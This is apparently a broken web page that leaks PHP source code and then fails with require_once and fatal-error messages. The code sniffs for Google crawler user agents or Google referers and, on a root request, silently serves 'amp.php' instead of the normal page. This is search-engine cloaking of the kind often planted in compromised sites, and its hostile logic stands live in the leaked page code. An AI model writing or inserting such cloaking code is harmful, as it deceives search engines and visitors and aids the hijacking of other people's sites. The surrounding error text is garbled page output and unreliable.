$googleBots = [
    'Googlebot',             // Genel Google bot
    'AdsBot',                // Google Ads bot
    'Mediapartners-Google',  // Google AdSense bot
    'APIs-Google',           // Google API bot
    'Googlebot-Image',       // Google Görseller botu
    'Googlebot-Video',       // Google Video botu
    'Googlebot-News',        // Google Haberler botu
    'Googlebot-Search',      // Google Search Console botu
    'Googlebot-Inspect',     // Google Inspect Tool
    'Googlebot-Android',     // Android cihazlardan gelen Googlebot
    'Googlebot-Mobile',      // Google mobil botu
    'Googlebot-Ads',         // Google Ads botu
    'Googlebot-Discovery',   // Google'ın keşif botu
    'Google-',               // Google'ın keşif botu
];

// Google botlarını veya Google'dan gelen kullanıcıları kontrol et
if (
    preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // Google botlarını kontrol et
    strpos($referer, 'google.') !== false                             // Referer Google mı kontrol et
) {
    // Check if the request is for the root directory and index.php
    if ($_SERVER['REQUEST_URI'] == '/') {
        include 'amp.php';
        die();
    }
}
?>
<br />
<b>Warning</b>:  require_once(/home/parnas/www/includes/defines.php): Failed to open stream: No such file or directory in <b>/home/parnas/www/index.php</b> on line <b>66</b><br />
<br />
<b>Fatal error</b>:  Uncaught Error: Failed opening required '/home/parnas/www/includes/defines.php' (include_path='.:/usr/local/php8.0/lib/php') in /home/parnas/www/index.php:66
Stack trace:
#0 {main}
  thrown in <b>/home/parnas/www/index.php</b> on line <b>66</b><br />